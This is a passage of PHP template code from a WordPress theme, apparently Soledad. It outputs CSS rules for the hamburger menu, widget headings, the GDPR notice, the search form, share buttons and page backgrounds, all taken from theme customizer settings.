				echo '.penci-menu-hbg-inner #penci-close-hbg:hover:before, .penci-menu-hbg-inner #penci-close-hbg:hover:after{background-color: ' . esc_attr( $mhbg_closehover ) . ';}';
			}
			if ( $mhbg_textcolor ) {
				echo '.penci-menu-hbg,.penci-menu-hbg .about-widget .about-me-heading,';
				echo '.penci-menu-hbg .widget select,.penci-menu-hbg .widget select option,';
				echo '.penci-menu-hbg form.pc-searchform input.search-input{ color: ' . $mhbg_textcolor . ' }';
			}

			if ( $mhbg_bordercolor ) {
				echo '.penci-menu-hbg .widget ul li,.penci-menu-hbg .menu li,';
				echo '.penci-menu-hbg .widget-social a i,';
				echo '.penci-menu-hbg .penci-home-popular-posts,';
				echo '.penci-menu-hbg #respond textarea,';
				echo '.penci-menu-hbg .wpcf7 textarea,';
				echo '.penci-menu-hbg #respond input,';
				echo '.penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=date], .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=datetime], .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=datetime-local], .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=email], .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=month], .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=number], .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=password], .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=range], .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=search], .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=tel], .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=text], .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=time], .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=url], .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=week], .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form select, .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form textarea,';
				echo '.penci-menu-hbg .wpcf7 input,';
				echo '.penci-menu-hbg .widget_wysija input,';
				echo '.penci-menu-hbg .widget select,';
				echo '.penci-menu-hbg .widget ul ul,';
				echo '.penci-menu-hbg .widget .tagcloud a,';
				echo '.penci-menu-hbg #wp-calendar tbody td,';
				echo '.penci-menu-hbg #wp-calendar thead th,';
				echo '.penci-menu-hbg .widget input[type="text"],';
				echo '.penci-menu-hbg .widget input[type="email"],';
				echo '.penci-menu-hbg .widget input[type="date"],';
				echo '.penci-menu-hbg .widget input[type="number"],';
				echo '.penci-menu-hbg .widget input[type="search"], .widget input[type="password"], .penci-menu-hbg form.pc-searchform input.search-input,';
				echo '.penci-vernav-enable.penci-vernav-poleft .penci-menu-hbg, .penci-vernav-enable.penci-vernav-poright .penci-menu-hbg, .penci-menu-hbg ul.sub-menu{border-color: ' . $mhbg_bordercolor . ';}';
			}
			if ( $mhbgtitle_color ) {
				echo '.penci-menu-hbg-inner .penci-hbg_sitetitle{ color:' . esc_attr( $mhbgtitle_color ) . ';}';
			}
			if ( $mhbgdesc_hcolor ) {
				echo '.penci-menu-hbg-inner .penci-hbg_desc{ color:' . esc_attr( $mhbgdesc_hcolor ) . ';}';
			}
			if ( $mhbgsearch_border ) {
				echo '.penci-menu-hbg form.pc-searchform.penci-hbg-search-form input.search-input{ border-color:' . esc_attr( $mhbgsearch_border ) . ';}';
			}
			if ( $mhbgsearch_border_hover ) {
				echo '.penci-menu-hbg .penci-hbg-search-form input.search-input:hover, form.pc-searchform.penci-hbg-search-form input.search-input:hover, form.pc-searchform.penci-hbg-search-form input.search-input:focus{ border-color:' . esc_attr( $mhbgsearch_border_hover ) . ';}';
			}
			if ( $mhbgsearch_color ) {
				echo 'form.pc-searchform.penci-hbg-search-form input.search-input{ color:' . esc_attr( $mhbgsearch_color ) . ';}';
				echo 'form.pc-searchform.penci-hbg-search-form input.search-input::-webkit-input-placeholder { color: ' . esc_attr( $mhbgsearch_color ) . '; }';
				echo 'form.pc-searchform.penci-hbg-search-form input.search-input::-moz-placeholder { color: ' . esc_attr( $mhbgsearch_color ) . '; opacity: 1; }';
				echo 'form.pc-searchform.penci-hbg-search-form input.search-input:-ms-input-placeholder { color: ' . esc_attr( $mhbgsearch_color ) . '; }';
				echo 'form.pc-searchform.penci-hbg-search-form input.search-input:-moz-placeholder { color: ' . esc_attr( $mhbgsearch_color ) . '; opacity: 1; }';
			}
			if ( $mhbgsearch_icon ) {
				echo 'form.pc-searchform.penci-hbg-search-form i{ color:' . esc_attr( $mhbgsearch_icon ) . ';}';
			}

			if ( $mhbgaccent_color ) {
				echo '.penci-menu-hbg .menu li a,';
				echo '.penci-menu-hbg .widget ul.side-newsfeed li .side-item .side-item-text h4 a,';
				echo '.penci-menu-hbg #wp-calendar tbody td a,';
				echo '.penci-menu-hbg .widget.widget_categories ul li,';
				echo '.penci-menu-hbg .widget.widget_archive ul li, .penci-menu-hbg .widget-social a i,';
				echo '.penci-menu-hbg .widget-social a span,';
				echo '.penci-menu-hbg .widget-social.show-text a span,';
				echo '.penci-menu-hbg .widget a{ color: ' . esc_attr( $mhbgaccent_color ) . ';}';
			}

			if ( $mhbgaccent_hover_color ) {
				echo '.penci-menu-hbg .menu li a:hover,.penci-menu-hbg .menu li a .indicator:hover';
				echo '.penci-menu-hbg .widget ul.side-newsfeed li .side-item .side-item-text h4 a:hover,';
				echo '.penci-menu-hbg .widget a:hover,';
				echo '.penci-menu-hbg .penci-sidebar-content .widget-social a:hover span,';
				echo '.penci-menu-hbg .widget-social a:hover span,';
				echo '.penci-menu-hbg .penci-tweets-widget-content .icon-tweets,';
				echo '.penci-menu-hbg .penci-tweets-widget-content .tweet-intents a,';
				echo '.penci-menu-hbg .penci-tweets-widget-content.tweet-intents span:after,';
				echo '.penci-menu-hbg .widget-social.remove-circle a:hover i,';
				echo '.penci-menu-hbg #wp-calendar tbody td a:hover,';
				echo '.penci-menu-hbg a:hover {color: ' . esc_attr( $mhbgaccent_hover_color ) . ';}';

				echo '.penci-menu-hbg .widget .tagcloud a:hover,';
				echo '.penci-menu-hbg .widget-social a:hover i,';
				echo '.penci-menu-hbg .widget .penci-user-logged-in .penci-user-action-links a:hover,';
				echo '.penci-menu-hbg .widget input[type="submit"]:hover,';
				echo '.penci-menu-hbg .widget button[type="submit"]:hover{ color: #fff; background-color: ' . esc_attr( $mhbgaccent_hover_color ) . '; border-color: ' . esc_attr( $mhbgaccent_hover_color ) . '; }';

				echo '.penci-menu-hbg .about-widget .about-me-heading:before { border-color: ' . esc_attr( $mhbgaccent_hover_color ) . '; }';
				echo '.penci-menu-hbg .penci-tweets-widget-content .tweet-intents-inner:before,';
				echo '.penci-menu-hbg .penci-tweets-widget-content .tweet-intents-inner:after { background-color: ' . esc_attr( $mhbgaccent_hover_color ) . '; }';
				echo '.penci-menu-hbg .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot.active span,';
				echo '.penci-menu-hbg .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot:hover span { border-color: ' . esc_attr( $mhbgaccent_hover_color ) . '; background-color: ' . esc_attr( $mhbgaccent_hover_color ) . '; }';
			}

			if ( $mhbgfooter_color ) {
				echo '.penci-menu-hbg-inner .penci_menu_hbg_ftext{ color:' . esc_attr( $mhbgfooter_color ) . ';}';
			}
			if ( $mhbgicon_color ) {
				echo '.penci-menu-hbg .header-social.sidebar-nav-social a i, .penci-menu-hbg .header-social.penci-hbg-social-style-2 a i{ color:' . esc_attr( $mhbgicon_color ) . ';}';
			}
			if ( $mhbgicon_hover_color ) {
				echo '.penci-menu-hbg .header-social.sidebar-nav-social a:hover i, .penci-menu-hbg .header-social.penci-hbg-social-style-2 a:hover i{ color:' . esc_attr( $mhbgicon_hover_color ) . ';}';
			}
			if ( $mhbgicon_border ) {
				echo '.penci-menu-hbg .header-social.penci-hbg-social-style-2 a i{ border-color:' . esc_attr( $mhbgicon_border ) . ';}';
			}
			if ( $mhbgicon_border_hover ) {
				echo '.penci-menu-hbg .header-social.penci-hbg-social-style-2 a:hover i{ border-color:' . esc_attr( $mhbgicon_border_hover ) . ';}';
			}
			if ( $mhbgicon_bg ) {
				echo '.penci-menu-hbg .header-social.penci-hbg-social-style-2 a i{ background-color:' . esc_attr( $mhbgicon_bg ) . ';}';
			}
			if ( $mhbgicon_bg_hover ) {
				echo '.penci-menu-hbg .header-social.penci-hbg-social-style-2 a:hover i{ background-color:' . esc_attr( $mhbgicon_bg_hover ) . ';}';
			}
			if ( $mhbg_social_size ) {
				echo '.penci-menu-hbg .header-social.sidebar-nav-social a i{ font-size:' . absint( $mhbg_social_size ) . 'px;}';
			}

			// Widget
			$mhbg_widget_margin             = get_theme_mod( 'penci_mhbg_widget_margin' );
			$mhbgwidget_heading_lowcase     = get_theme_mod( 'penci_mhbgwidget_heading_lowcase' );
			$mhbgwidget_heading_size        = get_theme_mod( 'penci_mhbgwidget_heading_size' );
			$mhbgwidget_heading_image_9     = get_theme_mod( 'penci_mhbgwidget_heading_image_9' );
			$mhbgwidget_heading9_repeat     = get_theme_mod( 'penci_mhbgwidget_heading9_repeat' );
			$mhbgwidget_remove_border_outer = get_theme_mod( 'penci_mhbgwidget_remove_border_outer' );
			$mhbgwidget_remove_arrow_down   = get_theme_mod( 'penci_mhbgwidget_remove_arrow_down' );

			if ( $mhbg_widget_margin ) {
				echo '.penci-menu-hbg .penci-sidebar-content .widget{ margin-bottom: ' . esc_attr( $mhbg_widget_margin ) . 'px; }';
				echo '.penci-menu-hbg-widgets2{ margin-top: ' . esc_attr( $mhbg_widget_margin ) . 'px; }';
			}

			if ( $mhbgwidget_heading_lowcase ) {
				echo '.penci-menu-hbg .penci-sidebar-content .penci-border-arrow .inner-arrow{ text-transform: none; }';
			}

			if ( $mhbgwidget_heading_size ) {
				echo '.penci-menu-hbg .penci-sidebar-content .penci-border-arrow .inner-arrow { font-size: ' . $mhbgwidget_heading_size . 'px; }';
			}
			if ( $mhbgwidget_heading_image_9 ) {
				echo '.penci-menu-hbg .penci-sidebar-content.style-8 .penci-border-arrow .inner-arrow { background-image: url(' . $mhbgwidget_heading_image_9 . '); }';
			}
			if ( $mhbgwidget_heading9_repeat ) {
				echo '.penci-menu-hbg .penci-sidebar-content.style-8 .penci-border-arrow .inner-arrow{ background-repeat: ' . $mhbgwidget_heading9_repeat . '; background-size: auto; }';
			}
			if ( $mhbgwidget_remove_border_outer ) {
				echo '.penci-menu-hbg .penci-sidebar-content .penci-border-arrow:after { content: none; display: none; }
		.penci-menu-hbg .penci-sidebar-content .widget-title{ margin-left: 0; margin-right: 0; margin-top: 0; }
		.penci-menu-hbg .penci-sidebar-content .penci-border-arrow:before{ bottom: -6px; border-width: 6px; margin-left: -6px; }';
			}

			if ( $mhbgwidget_remove_arrow_down ) {
				echo '.penci-menu-hbg .penci-sidebar-content .penci-border-arrow:before, .penci-sidebar-content.style-2 .penci-border-arrow:after { content: none; display: none; }';
			}

			$mhwidget_heading_bg           = get_theme_mod( 'penci_mhwidget_heading_bg' );
			$mhwidget_heading_outer_bg     = get_theme_mod( 'penci_mhwidget_heading_outer_bg' );
			$mhwidget_heading_bcolor       = get_theme_mod( 'penci_mhwidget_heading_bcolor' );
			$mhwidget_heading_binner_color = get_theme_mod( 'penci_mhwidget_heading_binner_color' );
			$mhwidget_heading_bcolor5      = get_theme_mod( 'penci_mhwidget_heading_bcolor5' );
			$mhwidget_heading_bcolor7      = get_theme_mod( 'penci_mhwidget_heading_bcolor7' );
			$mhwidget_bordertop_color10    = get_theme_mod( 'penci_mhwidget_bordertop_color10' );
			$mhwidget_shapes_color         = get_theme_mod( 'penci_mhwidget_shapes_color' );
			$mhwidget_bgstyle15            = get_theme_mod( 'penci_mhwidget_bgstyle15' );
			$mhwidget_iconstyle15          = get_theme_mod( 'penci_mhwidget_iconstyle15' );
			$mhwidget_cllines              = get_theme_mod( 'penci_mhwidget_cllines' );
			$mhwidget_heading_color        = get_theme_mod( 'penci_mhwidget_heading_color' );

			if ( $mhwidget_heading_bg ) {
				echo '.penci-menu-hbg .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow, .penci-menu-hbg .penci-sidebar-content.style-12 .penci-border-arrow .inner-arrow, .penci-menu-hbg .penci-sidebar-content.style-14 .penci-border-arrow .inner-arrow:before, .penci-menu-hbg .penci-sidebar-content.style-13 .penci-border-arrow .inner-arrow, .penci-menu-hbg .penci-sidebar-content .penci-border-arrow .inner-arrow, .penci-menu-hbg .penci-sidebar-content.style-15 .penci-border-arrow .inner-arrow{ background-color: ' . $mhwidget_heading_bg . '; }';
				echo '.penci-menu-hbg .penci-sidebar-content.style-2 .penci-border-arrow:after{ border-top-color: ' . $mhwidget_heading_bg . '; }';
			}
			if ( $mhwidget_heading_outer_bg ) {
				echo '.penci-menu-hbg .penci-sidebar-content .penci-border-arrow:after { background-color: ' . $mhwidget_heading_bg . '; }';
			}
			if ( $mhwidget_heading_bcolor ) {
				echo '.penci-menu-hbg .penci-sidebar-content .penci-border-arrow .inner-arrow,';
				echo '.penci-menu-hbg .penci-sidebar-content.style-4 .penci-border-arrow .inner-arrow:before,';
				echo '.penci-menu-hbg .penci-sidebar-content.style-4 .penci-border-arrow .inner-arrow:after,';
				echo '.penci-menu-hbg .penci-sidebar-content.style-5 .penci-border-arrow,';
				echo '.penci-menu-hbg .penci-sidebar-content.style-7 .penci-border-arrow,';
				echo '.penci-menu-hbg .penci-sidebar-content.style-9 .penci-border-arrow { border-color: ' . $mhwidget_heading_bcolor . '; }';
				echo '.penci-menu-hbg .penci-sidebar-content .penci-border-arrow:before { border-top-color: ' . $mhwidget_heading_bcolor . '; }';
				echo '.penci-menu-hbg .penci-sidebar-content.style-16 .penci-border-arrow:after{ background-color: ' . $mhwidget_heading_bcolor . '; }';
			}
			if ( $mhwidget_heading_binner_color ) {
				echo '.penci-menu-hbg .penci-sidebar-content .penci-border-arrow:after { border-color: ' . $mhwidget_heading_binner_color . '; }';
			}
			if ( $mhwidget_heading_bcolor5 ) {
				echo '.penci-menu-hbg .penci-sidebar-content.style-5 .penci-border-arrow{ border-color: ' . $mhwidget_heading_bcolor5 . '; }';
				echo '.penci-menu-hbg .penci-sidebar-content.style-12 .penci-border-arrow, .penci-menu-hbg .penci-sidebar-content.style-10 .penci-border-arrow, .penci-menu-hbg .penci-sidebar-content.style-5 .penci-border-arrow .inner-arrow{ border-bottom-color: ' . $mhwidget_heading_bcolor5 . '; }';
			}
			if ( $mhwidget_heading_bcolor7 ) {
				echo '.penci-menu-hbg .penci-sidebar-content.style-7 .penci-border-arrow .inner-arrow:before,.penci-menu-hbg .penci-sidebar-content.style-9 .penci-border-arrow .inner-arrow:before{ background-color: ' . $mhwidget_heading_bcolor7 . '; }';
			}
			if ( $mhwidget_bordertop_color10 ) {
				echo '.penci-menu-hbg .penci-sidebar-content.style-10 .penci-border-arrow{ border-top-color: ' . $mhwidget_bordertop_color10 . '; }';
			}
			if ( $mhwidget_shapes_color ) {
				echo '.penci-menu-hbg .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow:after,.penci-menu-hbg .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow:before{ border-top-color: ' . $mhwidget_shapes_color . '; }';
				echo '.penci-menu-hbg .penci-sidebar-content.style-12 .penci-border-arrow .inner-arrow:before,.penci-menu-hbg .penci-sidebar-content.style-12.pcalign-center .penci-border-arrow .inner-arrow:after, .penci-menu-hbg .penci-sidebar-content.style-12.pcalign-right .penci-border-arrow .inner-arrow:after{ border-bottom-color: ' . $mhwidget_shapes_color . '; }';
				echo '.penci-menu-hbg .penci-sidebar-content.style-13.pcalign-center .penci-border-arrow .inner-arrow:after, .penci-menu-hbg .penci-sidebar-content.style-13.pcalign-left .penci-border-arrow .inner-arrow:after{ border-right-color: ' . $mhwidget_shapes_color . '; }';
				echo '.penci-menu-hbg .penci-sidebar-content.style-13.pcalign-center .penci-border-arrow .inner-arrow:before, .penci-menu-hbg .penci-sidebar-content.style-13.pcalign-right .penci-border-arrow .inner-arrow:before{ border-left-color: ' . $mhwidget_shapes_color . '; }';
			}
			if ( $mhwidget_bgstyle15 ) {
				echo '.penci-menu-hbg .penci-sidebar-content.style-15 .penci-border-arrow:before{ background-color: ' . $mhwidget_bgstyle15 . '; }';
			}
			if ( $mhwidget_iconstyle15 ) {
				echo '.penci-menu-hbg .penci-sidebar-content.style-15 .penci-border-arrow:after{ color: ' . $mhwidget_iconstyle15 . '; }';
			}
			if ( $mhwidget_cllines ) {
				echo '.penci-menu-hbg .penci-sidebar-content.style-18 .penci-border-arrow:after{ color: ' . $mhwidget_cllines . '; }';
			}
			if ( $mhwidget_heading_color ) {
				echo '.penci-menu-hbg .penci-sidebar-content .penci-border-arrow .inner-arrow { color: ' . $mhwidget_heading_color . '; }';
			}
		endif; /* End check if enable HBG menu or Vertical Nav */ ?>
		<?php if ( get_theme_mod( 'penci_woo_paging_align' ) == 'left' ): ?>
            .woocommerce nav.woocommerce-pagination { text-align: left; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_woo_paging_align' ) == 'right' ): ?>
            .woocommerce nav.woocommerce-pagination { text-align: right; }
		<?php endif; ?>

		<?php
		// RDGP
		$gprd_bgcolor     = get_theme_mod( 'penci_gprd_bgcolor' );
		$gprd_color       = get_theme_mod( 'penci_gprd_color' );
		$gprd_btn_color   = get_theme_mod( 'penci_gprd_btn_color' );
		$gprd_btn_bgcolor = get_theme_mod( 'penci_gprd_btn_bgcolor' );
		$gprd_border      = get_theme_mod( 'penci_gprd_border' );

		$rdpenci_css = '';
		if ( $gprd_bgcolor ) {
			$rdpenci_css .= '.penci-wrap-gprd-law .penci-gdrd-show,.penci-gprd-law,.penci-wrap-gprd-law.style-3 .penci-gprd-law,.penci-wrap-gprd-law.style-4 .penci-gprd-law{ background-color: ' . $gprd_bgcolor . ' } ';
			$rdpenci_css .= '.penci-wrap-gprd-law{ --pcaccent-cl: ' . $gprd_bgcolor . ' } ';
		}
		if ( $gprd_color ) {
			$rdpenci_css .= '.penci-wrap-gprd-law .penci-gdrd-show,.penci-gprd-law{ color: ' . $gprd_color . ' } ';
		}
		if ( $gprd_btn_color ) {
			$rdpenci_css .= '.penci-gprd-law .penci-gprd-accept{ color: ' . $gprd_btn_color . ' }';
		}
		if ( $gprd_btn_bgcolor ) {
			$rdpenci_css .= '.penci-gprd-law .penci-gprd-accept{ background-color: ' . $gprd_btn_bgcolor . ' }';
		}
		if ( $gprd_border ) {
			$rdpenci_css .= '.penci-gprd-law{ border-top: 2px solid ' . $gprd_border . ' } ';
			$rdpenci_css .= '.penci-wrap-gprd-law .penci-gdrd-show{ border: 1px solid ' . $gprd_border . '; border-bottom: 0; } ';
			$rdpenci_css .= '.penci-wrap-gprd-law{ --pcborder-cl: ' . $gprd_bgcolor . ' } ';
		}
		echo $rdpenci_css;
		?>
		<?php if ( get_theme_mod( 'penci_section_searchform_form_bg' ) ) : ?>
            .header-search-style-showup .show-search{ background-color: <?php echo get_theme_mod( 'penci_section_searchform_form_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_section_searchform_top_border_cl' ) ) : ?>
            .header-search-style-showup .show-search:before{ border-bottom-color: <?php echo get_theme_mod( 'penci_section_searchform_top_border_cl' ); ?>; }
            .header-search-style-showup .show-search{ border-color: <?php echo get_theme_mod( 'penci_section_searchform_top_border_cl' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_section_searchform_text_bg' ) ) : ?>
            .header-search-style-showup .show-search form.pc-searchform input.search-input{ background-color: <?php echo get_theme_mod( 'penci_section_searchform_text_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_section_searchform_text_cl' ) ) : ?>
            .header-search-style-showup .show-search form.pc-searchform input.search-input{ color: <?php echo get_theme_mod( 'penci_section_searchform_text_cl' ); ?>; }
            .header-search-style-showup .show-search form.pc-searchform input.search-input::placeholder{ opacity: 1; color: <?php echo get_theme_mod( 'penci_section_searchform_text_cl' ); ?>; }
            .header-search-style-showup .show-search form.pc-searchform input.search-input:-ms-input-placeholder{ color: <?php echo get_theme_mod( 'penci_section_searchform_text_cl' ); ?>; }
            .header-search-style-showup .show-search form.pc-searchform input.search-input::-ms-input-placeholder{ color: <?php echo get_theme_mod( 'penci_section_searchform_text_cl' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_section_searchform_bd_cl' ) ) : ?>
            .header-search-style-showup .sticky-wrapper:not(.is-sticky) .show-search form.pc-searchform input.search-input, .header-search-style-showup .sticky-wrapper.is-sticky .show-search form.pc-searchform input.search-input, .header-search-style-showup .show-search form.pc-searchform input.search-input{ border-color: <?php echo get_theme_mod( 'penci_section_searchform_bd_cl' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_section_searchform_btn_bg' ) ) : ?>
            .header-search-style-showup .show-search form.pc-searchform .searchsubmit{ background-color: <?php echo get_theme_mod( 'penci_section_searchform_btn_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_section_searchform_btn_hv_bg' ) ) : ?>
            .header-search-style-showup .show-search form.pc-searchform .searchsubmit:hover{ background-color: <?php echo get_theme_mod( 'penci_section_searchform_btn_hv_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_section_searchform_btn_cl' ) ) : ?>
            .header-search-style-showup .show-search form.pc-searchform .searchsubmit{ color: <?php echo get_theme_mod( 'penci_section_searchform_btn_cl' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_section_searchform_btn_hv_cl' ) ) : ?>
            .header-search-style-showup .show-search form.pc-searchform .searchsubmit:hover{ color: <?php echo get_theme_mod( 'penci_section_searchform_btn_hv_cl' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_custom_css' ) ) : ?>
			<?php echo get_theme_mod( 'penci_custom_css' ); ?>
		<?php endif; ?>
		<?php

		$social_share_style = get_theme_mod( 'penci_single_style_cscount' );
		$snew_bgcolor       = get_theme_mod( 'penci_single_newshare_bgcolor' );
		$snew_bghcolor      = get_theme_mod( 'social_bghcolor' );
		$snew_color         = get_theme_mod( 'penci_single_newshare_color' );
		$snew_hcolor        = get_theme_mod( 'penci_single_newshare_hcolor' );
		$snew_bcolor        = get_theme_mod( 'penci_single_newshare_bcolor' );
		$snew_hbcolor       = get_theme_mod( 'penci_single_newshare_hbcolor' );
		$splus_color        = get_theme_mod( 'penci_single_splus_color' );
		$splus_hcolor       = get_theme_mod( 'penci_single_splus_hcolor' );
		$splus_bgcolor      = get_theme_mod( 'penci_single_splus_bgcolor' );
		$splus_hbgcolor     = get_theme_mod( 'penci_single_splus_hbgcolor' );

		if ( $splus_color ) {
			echo 'a.post-share-expand,.black-ver .post-share-expand i,.tags-share-box.tags-share-box-2_3 .post-share-expand,.penci-social-colored .post-share-item.post-share-expand i, .tags-share-box.tags-share-box-s2 .post-share-item.post-share-expand i{color:' . $splus_color . '}';
		}

		if ( $splus_hcolor ) {
			echo 'a.post-share-expand:hover,.black-ver .post-share-expand:hover i,.tags-share-box.tags-share-box-2_3 .post-share-expand:hover,.penci-social-colored .post-share-item.post-share-expand:hover i,.tags-share-box.tags-share-box-s2 .post-share-item.post-share-expand:hover i{color:' . $splus_hcolor . '}';
		}

		if ( $splus_bgcolor ) {
			echo 'a.post-share-expand,.black-ver .post-share-expand,.black-ver .post-share-expand i,.tags-share-box.tags-share-box-2_3 .post-share-expand,.penci-social-colored .post-share-item.post-share-expand i,.tags-share-box.tags-share-box-s2 .post-share-item.post-share-expand{background-color:' . $splus_bgcolor . '}';
		}

		if ( $splus_hbgcolor ) {
			echo 'a.post-share-expand:hover,.black-ver .post-share-expand:hover,.black-ver .post-share-expand:hover i,.tags-share-box.tags-share-box-2_3 .post-share-expand:hover,.penci-social-colored .post-share-item.post-share-expand:hover i, .tags-share-box.tags-share-box-s2 .post-share-item.post-share-expand:hover{background-color:' . $splus_hbgcolor . '}';
		}

		if ( $snew_bgcolor && in_array( $social_share_style, [
				's1',
				's3',
				'n14',
				'n15',
				'n16',
				'n17',
				'n18',
				'n19',
				'n20',
				'n21',
				'n22',
				'n23'
			] ) ) {
			echo 'a.post-share-item,.black-ver .post-share-item,.black-ver .post-share-item i{background-color:' . $snew_bgcolor . '}';
		}

		if ( $snew_bghcolor && in_array( $social_share_style, [
				's1',
				's3',
				'n14',
				'n15',
				'n16',
				'n17',
				'n18',
				'n19',
				'n20',
				'n21',
				'n22',
				'n23'
			] ) ) {
			echo 'a.post-share-item:hover,.black-ver .post-share-item:hover,.black-ver .post-share-item:hover i{background-color:' . $snew_bghcolor . '}';
		}

		if ( $snew_color && in_array( $social_share_style, [
				's1',
				's3',
				'n14',
				'n15',
				'n17',
				'n18',
				'n19',
				'n20',
				'n21',
				'n22',
				'n23'
			] ) ) {
			echo 'a.post-share-item,.black-ver .post-share-item i,.show-txt.post-share a .dt-share{color:' . $snew_color . '}';
		}

		if ( $snew_hcolor && in_array( $social_share_style, [
				's1',
				's3',
				'n14',
				'n15',
				'n17',
				'n18',
				'n19',
				'n20',
				'n21',
				'n22',
				'n23'
			] ) ) {
			echo 'a.post-share-item:hover,.black-ver .post-share-item:hover i,.show-txt.post-share a:hover .dt-share{color:' . $snew_hcolor . '}';
		}

		if ( $snew_bcolor && in_array( $social_share_style, [
				's1',
				's3',
				'n16',
				'n17',
				'n18',
				'n19',
				'n20',
				'n21',
				'n22',
				'n23'
			] ) ) {
			echo 'a.post-share-item,.pcnew-share.penci-icon-full.border-style .post-share-item i{border-color:' . $snew_bcolor . '}';
		}

		if ( $snew_hbcolor && in_array( $social_share_style, [
				's1',
				's3',
				'n16',
				'n17',
				'n18',
				'n19',
				'n20',
				'n21',
				'n22',
				'n23'
			] ) ) {
			echo 'a.post-share-item:hover,.pcnew-share.penci-icon-full.border-style .post-share-item:hover i{border-color:' . $snew_hbcolor . '}';
		}

		if ( get_theme_mod( 'penci_post_share_disbtnplus' ) ) {
			echo '.penci-featured-share-box .penci-shareso a:nth-last-child(2){ margin-right: 0; }';
		}

		if ( get_theme_mod( 'penci_meta_author_aw' ) ) {
			echo '.penci-grid li .item .author-url .avatar,.penci-masonry .item-masonry a .author-url .avatar,.author-url .avatar,.grid-post-box-meta img.avatar{width:' . get_theme_mod( 'penci_meta_author_aw' ) . 'px;}';
		}

		if ( get_theme_mod( 'penci_textshare_selection_bgcolor' ) ) {
			echo '.entry-content p::selection{background-color: ' . get_theme_mod( 'penci_textshare_selection_bgcolor' ) . '}';
		}

		if ( get_theme_mod( 'penci_textshare_selection_txtcolor' ) ) {
			echo '.entry-content p::selection{color: ' . get_theme_mod( 'penci_textshare_selection_txtcolor' ) . '}';
		}

		do_action( 'soledad_theme/custom_css' );
		if ( is_page() ) {
			$page_custom_css = get_post_meta( get_the_ID(), 'penci_pmeta_page_custom_css', true );
			if ( isset( $page_custom_css['page_custom_css'] ) && $page_custom_css['page_custom_css'] ) {
				echo $page_custom_css['page_custom_css'];
			}
			$page_background       = get_post_meta( get_the_ID(), 'penci_pmeta_page_background', true );
			$css_page_wapper       = '';
			$page_background_color = '';

			if ( isset( $page_background['page_wrap_bgcolor'] ) && $page_background['page_wrap_bgcolor'] ) {
				$css_page_wapper       .= 'background-color:' . esc_attr( $page_background['page_wrap_bgcolor'] ) . ' !important;';
				$page_background_color = esc_attr( $page_background['page_wrap_bgcolor'] );
			}
			if ( isset( $page_background['page_wrap_bgimg'] ) && $page_background['page_wrap_bgimg'] ) {
				$bgimg           = wp_get_attachment_url( $page_background['page_wrap_bgimg'] );
				$css_page_wapper .= 'background-image: url(' . esc_url( $bgimg ) . ') !important;';
			}
			if ( isset( $page_background['page_wrap_bg_pos'] ) && $page_background['page_wrap_bg_pos'] ) {
				$css_page_wapper .= 'background-position:' . esc_attr( str_replace( '_', ' ', $page_background['page_wrap_bg_pos'] ) ) . ' !important;';
			}
			if ( isset( $page_background['page_wrap_bg_size'] ) && $page_background['page_wrap_bg_size'] ) {
				$css_page_wapper .= 'background-size:' . esc_attr( $page_background['page_wrap_bg_size'] ) . ' !important;';
			}
			if ( isset( $page_background['page_wrap_bg_repeat'] ) && $page_background['page_wrap_bg_repeat'] ) {
				$css_page_wapper .= 'background-repeat:' . esc_attr( $page_background['page_wrap_bg_repeat'] ) . ' !important;';
			}
			?>
			<?php if ( $css_page_wapper ): ?>
                .wrapper-boxed, .wrapper-boxed.enable-boxed{<?php echo $css_page_wapper; ?> }
			<?php endif; ?>
			<?php if ( $page_background_color ): ?>
                .penci-single-style-7:not( .penci-single-pheader-noimg ).penci_sidebar #main article.post, .penci-single-style-3:not( .penci-single-pheader-noimg ).penci_sidebar #main article.post { background-color: var(--pcbg-cl); }
                @media only screen and (max-width: 767px){ .standard-post-special_wrapper { background: <?php echo $page_background_color; ?>; } }
                .home-pupular-posts-title span, .penci-post-box-meta.penci-post-box-grid .penci-post-share-box, .penci-pagination.penci-ajax-more a.penci-ajax-more-button, .woocommerce .woocommerce-product-search input[type="search"], .overlay-post-box-meta, .widget ul.side-newsfeed li.featured-news2 .side-item .side-item-text, .widget select, .widget select option, .woocommerce .woocommerce-error, .woocommerce .woocommerce-info, .woocommerce .woocommerce-message, #penci-demobar, #penci-demobar .style-toggle,
                .grid-overlay-meta .grid-header-box, .header-standard.standard-overlay-meta{ background-color: <?php echo $page_background_color; ?>; }
                .penci-grid .list-post.list-boxed-post .item > .thumbnail:before{ border-right-color: <?php echo $page_background_color; ?>; }
